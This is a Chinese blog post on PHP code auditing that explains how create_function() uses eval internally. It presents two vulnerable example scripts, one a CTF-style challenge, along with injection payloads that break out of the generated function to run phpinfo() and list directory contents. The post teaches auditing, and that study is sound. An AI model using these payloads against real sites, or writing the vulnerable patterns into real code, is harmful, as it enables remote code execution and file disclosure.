[php代码审计]之create_function()函数
这篇文章结合了许多师傅的博客,再加上了一点我自己的心得
creat_function()介绍
适用范围:php4>=4.0.1,php5,php7
功能:
根据传递的参数创建匿名函数,并为其返回唯一名称
语法:
creat_function(string $agrs,string $code)
//string $agrs 声明的函数变量部分
//string $code 执行的方法代码部分
使用
官方手册使用
代码
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
可以得到
代码分析:
create_frunction()函数会创建一个匿名函数(为lambda样式),并会在内部执行eval()函数,在这里也就是执行后面的return语句,而这个位置正好是属于(string
$code)的
所以实际上create_function()函数可以等价于:
<?php
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
;?>
实现了匿名函数的效果
实际例子
0x01
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
payload的构造:
url?sort_by='"]);}phpinfo();/*
成功执行了phpinfo()
其实也就是相当于执行了:
function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}
这里的/*就是把后面的代码全部注释掉
0x02
代码:
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}
if(isset($_GET['action'])){
$arg = $_GET['arg'];
}
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}
代码分析
这道题需要传入两个变量,变量名分别为action
和arg
,并且对action
变量做了正则过滤,不能以数字,字母,下划线开头,
最后的
/i
是不区分大小写,/s
匹配任何不可见字符 /D如果以$限制结尾字符,则不允许结尾有换行
要绕过这个正则表达式的话,要用一个全局空间
(在名称前面加上\即代表是全局空间,大家可以自行了解全局空间)
这里附上官方说明全局空间
因此,可以构造出payload:
action=\create_function&arg=){
}phpinfo();/*
得到:
如果是要做题的话还可以继续构造:
action=\create_function&arg=){
}print_r(scandir(dirname(__file__)));/*
可以直接列出目录表,最后读取某某文件即可
参考博客
转载:https://blog.csdn.net/qq_51652864/article/details/115701537
查看评论